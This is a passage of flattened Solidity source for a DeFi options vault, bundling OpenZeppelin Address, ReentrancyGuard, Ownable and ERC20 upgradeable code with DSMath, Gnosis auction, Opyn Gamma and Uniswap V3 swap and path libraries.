} function cap() external view returns (uint256) { return vaultParams.cap; } function nextOptionReadyAt() external view returns (uint256) { return optionState.nextOptionReadyAt; } function currentOption() external view returns (address) { return optionState.currentOption; } function nextOption() external view returns (address) { return optionState.nextOption; } function totalPending() external view returns (uint256) { return vaultState.totalPending; } /************************************************ * HELPERS ***********************************************/ /** * @notice Helper to check whether swap path goes from stables (USDC) to vault's underlying asset * @param swapPath is the swap path e.g. encodePacked(tokenIn, poolFee, tokenOut) * @return boolean whether the path is valid */ function _checkPath(bytes calldata swapPath) internal view returns (bool) { return VaultLifecycle.checkPath( swapPath, USDC, vaultParams.asset, UNISWAP_FACTORY ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT /// math.sol -- mixin for inline numerical wizardry // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity >0.4.13; library DSMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x, "ds-math-add-overflow"); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } function imin(int256 x, int256 y) internal pure returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) internal pure returns (int256 z) { return x >= y ? x : y; } uint256 constant WAD = 10**18; uint256 constant RAY = 10**27; //rounds to zero if x*y < WAD / 2 function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), WAD / 2) / WAD; } //rounds to zero if x*y < WAD / 2 function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), RAY / 2) / RAY; } //rounds to zero if x*y < WAD / 2 function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, WAD), y / 2) / y; } //rounds to zero if x*y < RAY / 2 function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; library AuctionType { struct AuctionData { IERC20 auctioningToken; IERC20 biddingToken; uint256 orderCancellationEndDate; uint256 auctionEndDate; bytes32 initialAuctionOrder; uint256 minimumBiddingAmountPerOrder; uint256 interimSumBidAmount; bytes32 interimOrder; bytes32 clearingPriceOrder; uint96 volumeClearingPriceOrder; bool minFundingThresholdNotReached; bool isAtomicClosureAllowed; uint256 feeNumerator; uint256 minFundingThreshold; } } interface IGnosisAuction { function initiateAuction( address _auctioningToken, address _biddingToken, uint256 orderCancellationEndDate, uint256 auctionEndDate, uint96 _auctionedSellAmount, uint96 _minBuyAmount, uint256 minimumBiddingAmountPerOrder, uint256 minFundingThreshold, bool isAtomicClosureAllowed, address accessManagerContract, bytes memory accessManagerContractData ) external returns (uint256); function auctionCounter() external view returns (uint256); function auctionData(uint256 auctionId) external view returns (AuctionType.AuctionData memory); function auctionAccessManager(uint256 auctionId) external view returns (address); function auctionAccessData(uint256 auctionId) external view returns (bytes memory); function FEE_DENOMINATOR() external view returns (uint256); function feeNumerator() external view returns (uint256); function settleAuction(uint256 auctionId) external returns (bytes32); function placeSellOrders( uint256 auctionId, uint96[] memory _minBuyAmounts, uint96[] memory _sellAmounts, bytes32[] memory _prevSellOrders, bytes calldata allowListCallData ) external returns (uint64); function claimFromParticipantOrder( uint256 auctionId, bytes32[] memory orders ) external returns (uint256, uint256); } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; library GammaTypes { // vault is a struct of 6 arrays that describe a position a user has, a user can have multiple vaults. struct Vault { // addresses of oTokens a user has shorted (i.e. written) against this vault address[] shortOtokens; // addresses of oTokens a user has bought and deposited in this vault // user can be long oTokens without opening a vault (e.g. by buying on a DEX) // generally, long oTokens will be 'deposited' in vaults to act as collateral // in order to write oTokens against (i.e. in spreads) address[] longOtokens; // addresses of other ERC-20s a user has deposited as collateral in this vault address[] collateralAssets; // quantity of oTokens minted/written for each oToken address in shortOtokens uint256[] shortAmounts; // quantity of oTokens owned and held in the vault for each oToken address in longOtokens uint256[] longAmounts; // quantity of ERC-20 deposited as collateral in the vault for each ERC-20 address in collateralAssets uint256[] collateralAmounts; } } interface IOtoken { function underlyingAsset() external view returns (address); function strikeAsset() external view returns (address); function collateralAsset() external view returns (address); function strikePrice() external view returns (uint256); function expiryTimestamp() external view returns (uint256); function isPut() external view returns (bool); } interface IOtokenFactory { function getOtoken( address _underlyingAsset, address _strikeAsset, address _collateralAsset, uint256 _strikePrice, uint256 _expiry, bool _isPut ) external view returns (address); function createOtoken( address _underlyingAsset, address _strikeAsset, address _collateralAsset, uint256 _strikePrice, uint256 _expiry, bool _isPut ) external returns (address); function getTargetOtokenAddress( address _underlyingAsset, address _strikeAsset, address _collateralAsset, uint256 _strikePrice, uint256 _expiry, bool _isPut ) external view returns (address); event OtokenCreated( address tokenAddress, address creator, address indexed underlying, address indexed strike, address indexed collateral, uint256 strikePrice, uint256 expiry, bool isPut ); } interface IController { // possible actions that can be performed enum ActionType { OpenVault, MintShortOption, BurnShortOption, DepositLongOption, WithdrawLongOption, DepositCollateral, WithdrawCollateral, SettleVault, Redeem, Call, Liquidate } struct ActionArgs { // type of action that is being performed on the system ActionType actionType; // address of the account owner address owner; // address which we move assets from or to (depending on the action type) address secondAddress; // asset that is to be transfered address asset; // index of the vault that is to be modified (if any) uint256 vaultId; // amount of asset that is to be transfered uint256 amount; // each vault can hold multiple short / long / collateral assets // but we are restricting the scope to only 1 of each in this version // in future versions this would be the index of the short / long / collateral asset that needs to be modified uint256 index; // any other data that needs to be passed in for arbitrary function calls bytes data; } struct RedeemArgs { // address to which we pay out the oToken proceeds address receiver; // oToken that is to be redeemed address otoken; // amount of oTokens that is to be redeemed uint256 amount; } function getPayout(address _otoken, uint256 _amount) external view returns (uint256); function operate(ActionArgs[] calldata _actions) external; function getAccountVaultCounter(address owner) external view returns (uint256); function oracle() external view returns (address); function getVault(address _owner, uint256 _vaultId) external view returns (GammaTypes.Vault memory); function getProceed(address _owner, uint256 _vaultId) external view returns (uint256); function isSettlementAllowed( address _underlying, address _strike, address _collateral, uint256 _expiry ) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; interface IStrikeSelection { function getStrikePrice(uint256 expiryTimestamp, bool isPut) external view returns (uint256, uint256); function delta() external view returns (uint256); } interface IOptionsPremiumPricer { function getPremium( uint256 strikePrice, uint256 timeToExpiry, bool isPut ) external view returns (uint256); function getPremiumInStables( uint256 strikePrice, uint256 timeToExpiry, bool isPut ) external view returns (uint256); function getOptionDelta( uint256 spotPrice, uint256 strikePrice, uint256 volatility, uint256 expiryTimestamp ) external view returns (uint256 delta); function getUnderlyingPrice() external view returns (uint256); function priceOracle() external view returns (address); function volatilityOracle() external view returns (address); function pool() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; import {Vault} from "../libraries/Vault.sol"; interface IRibbonThetaVault { function currentOption() external view returns (address); function nextOption() external view returns (address); function vaultParams() external view returns (Vault.VaultParams memory); function vaultState() external view returns (Vault.VaultState memory); function optionState() external view returns (Vault.OptionState memory); function optionAuctionID() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IERC20Detailed is IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string calldata); function name() external view returns (string calldata); } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /** * This library supports ERC20s that have quirks in their behavior. * One such ERC20 is USDT, which requires allowance to be 0 before calling approve. * We plan to update this library with ERC20s that display such idiosyncratic behavior. */ library SupportsNonCompliantERC20 { address private constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; function safeApproveNonCompliant( IERC20 token, address spender, uint256 amount ) internal { if (address(token) == USDT) { SafeERC20.safeApprove(token, spender, 0); } SafeERC20.safeApprove(token, spender, amount); } } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {ISwapRouter} from "../interfaces/ISwapRouter.sol"; import {IUniswapV3Factory} from "../interfaces/IUniswapV3Factory.sol"; import "./Path.sol"; library UniswapRouter { using Path for bytes; using SafeMath for uint256; using SafeERC20 for IERC20; /** * @notice Check if the path set for swap is valid * @param swapPath is the swap path e.g. encodePacked(tokenIn, poolFee, tokenOut) * @param validTokenIn is the contract address of the correct tokenIn * @param validTokenOut is the contract address of the correct tokenOut * @param uniswapFactory is the contract address of UniswapV3 factory * @return isValidPath is whether the path is valid */ function checkPath( bytes memory swapPath, address validTokenIn, address validTokenOut, address uniswapFactory ) internal view returns (bool isValidPath) { // Function checks if the tokenIn and tokenOut in the swapPath // matches the validTokenIn and validTokenOut specified. address tokenIn; address tokenOut; address tempTokenIn; uint24 fee; IUniswapV3Factory factory = IUniswapV3Factory(uniswapFactory); // Return early if swapPath is below the bare minimum (43) require(swapPath.length >= 43, "Path too short"); // Return early if swapPath is above the max (66) // At worst we have 2 hops e.g. USDC > WETH > asset require(swapPath.length <= 66, "Path too long"); // Decode the first pool in path (tokenIn, tokenOut, fee) = swapPath.decodeFirstPool(); // Check to factory if pool exists require( factory.getPool(tokenIn, tokenOut, fee) != address(0), "Pool does not exist" ); // Check next pool if multiple pools while (swapPath.hasMultiplePools()) { // Remove the first pool from path swapPath = swapPath.skipToken(); // Check the next pool and update tokenOut (tempTokenIn, tokenOut, fee) = swapPath.decodeFirstPool(); require( factory.getPool(tokenIn, tokenOut, fee) != address(0), "Pool does not exist" ); } return tokenIn == validTokenIn && tokenOut == validTokenOut; } /** * @notice Swaps assets by calling UniswapV3 router * @param recipient is the address of recipient of the tokenOut * @param tokenIn is the address of the token given to the router * @param amountIn is the amount of tokenIn given to the router * @param minAmountOut is the minimum acceptable amount of tokenOut received from swap * @param router is the contract address of UniswapV3 router * @param swapPath is the swap path e.g. encodePacked(tokenIn, poolFee, tokenOut) * @return amountOut is the amount of tokenOut received from the swap */ function swap( address recipient, address tokenIn, uint256 amountIn, uint256 minAmountOut, address router, bytes calldata swapPath ) internal returns (uint256 amountOut) { // Approve router to spend tokenIn IERC20(tokenIn).safeApprove(router, amountIn); // Swap assets using UniswapV3 router ISwapRouter.ExactInputParams memory swapParams = ISwapRouter.ExactInputParams({ recipient: recipient, path: swapPath, deadline: block.timestamp.add(10 minutes), amountIn: amountIn, amountOutMinimum: minAmountOut }); amountOut = ISwapRouter(router).exactInput(swapParams); return amountOut; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity =0.8.4; pragma abicoder v2; /// Source: https://github.com/Uniswap/v3-core/blob/main/contracts/interfaces/callback/IUniswapV3SwapCallback.sol /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } /// Source: https://github.com/Uniswap/v3-periphery/blob/main/contracts/interfaces/ISwapRouter.sol /// @title Router token swapping functionality /// @notice Functions for swapping tokens via Uniswap V3 interface ISwapRouter is IUniswapV3SwapCallback { struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; } /// @notice Swaps `amountIn` of one token for as much as possible of another token /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata /// @return amountOut The amount of the received token function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut); struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata /// @return amountOut The amount of the received token function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); struct ExactOutputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; uint160 sqrtPriceLimitX96; } /// @notice Swaps as little as possible of one token for `amountOut` of another token /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata /// @return amountIn The amount of the input token function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn); struct ExactOutputParams { bytes path; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; } /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed) /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata /// @return amountIn The amount of the input token function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn); } // SPDX-License-Identifier: GPL-2.0-or-later // Source: https://github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol pragma solidity =0.8.4; /// @title The interface for the Uniswap V3 Factory /// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees interface IUniswapV3Factory { /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order /// @param tokenA The contract address of either token0 or token1 /// @param tokenB The contract address of the other token /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip /// @return pool The pool address function getPool( address tokenA, address tokenB, uint24 fee ) external view returns (address pool); } // SPDX-License-Identifier: GPL-2.0-or-later // Source: https://github.com/Uniswap/v3-periphery/blob/main/contracts/libraries/Path.sol pragma solidity =0.8.4; import "./BytesLib.sol"; /// @title Functions for manipulating path data for multihop swaps library Path { using BytesLib for bytes; /// @dev The length of the bytes encoded address uint256 private constant ADDR_SIZE = 20; /// @dev The length of the bytes encoded fee uint256 private constant FEE_SIZE = 3; /// @dev The offset of a single token address and pool fee uint256 private constant NEXT_OFFSET = ADDR_SIZE + FEE_SIZE; /// @dev The offset of an encoded pool key uint256 private constant POP_OFFSET = NEXT_OFFSET + ADDR_SIZE; /// @dev The minimum length of an encoding that contains 2 or more pools uint256 private constant MULTIPLE_POOLS_MIN_LENGTH = POP_OFFSET + NEXT_OFFSET; /// @notice Returns true iff the path contains two or more pools /// @param path The encoded swap path /// @return True if path contains two or more pools, otherwise false function hasMultiplePools(bytes memory path) internal pure returns (bool) { return path.length >= MULTIPLE_POOLS_MIN_LENGTH; } /// @notice Returns the number of pools in the path /// @param path The encoded swap path /// @return The number of pools in the path function numPools(bytes memory path) internal pure returns (uint256) { // Ignore the first token address. From then on every fee and token offset indicates a pool. return ((path.length - ADDR_SIZE) / NEXT_OFFSET); } /// @notice Decodes the first pool in path /// @param path The bytes encoded swap path /// @return tokenA The first token of the given pool /// @return tokenB The second token of the given pool /// @return fee The fee level of the pool function decodeFirstPool(bytes memory path) internal pure returns ( address tokenA, address tokenB, uint24 fee ) { tokenA = path.toAddress(0); fee = path.toUint24(ADDR_SIZE); tokenB = path.toAddress(NEXT_OFFSET); } /// @notice Gets the segment corresponding to the first pool in the path /// @param path The bytes encoded swap path /// @return The segment containing all data necessary to target the first pool in the path function getFirstPool(bytes memory path) internal pure returns (bytes memory) { return path.slice(0, POP_OFFSET); } /// @notice Skips a token + fee element from the buffer and returns the remainder /// @param path The swap path /// @return The remaining token + fee elements in the path function skipToken(bytes memory path) internal pure returns (bytes memory) { return path.slice(NEXT_OFFSET, path.length - NEXT_OFFSET); } } // SPDX-License-Identifier: MIT // Source: https://github.com/GNSPS/solidity-bytes-utils/blob/master/contracts/BytesLib.sol /* * @title Solidity Bytes Arrays Utils * @author Gonçalo Sá <[email protected]> * * @dev Bytes tightly packed arrays utility library for ethereum contracts written in Solidity. * The library lets you concatenate, slice and type cast bytes arrays both in memory and storage. */ pragma solidity =0.8.4; library BytesLib { function slice( bytes memory _bytes, uint256 _start, uint256 _length ) internal pure returns (bytes memory) { require(_length + 31 >= _length, "slice_overflow"); require(_bytes.length >= _start + _length, "slice_outOfBounds"); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add( add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)) ) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add( add( add(_bytes, lengthmod), mul(0x20, iszero(lengthmod)) ), _start ) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) //zero out the 32 bytes slice we are about to return //we need to do it because Solidity does not garbage collect mstore(tempBytes, 0) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function toAddress(bytes memory _bytes, uint256 _start) internal pure returns (address) { require(_bytes.length >= _start + 20, "toAddress_outOfBounds"); address tempAddress; assembly { tempAddress := div( mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000 ) } return tempAddress; } function toUint24(bytes memory _bytes, uint256 _start) internal pure returns (uint24) { require(_bytes.length >= _start + 3, "toUint24_outOfBounds"); uint24 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x3), _start)) } return tempUint; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20Upgradeable.sol"; import "./extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of 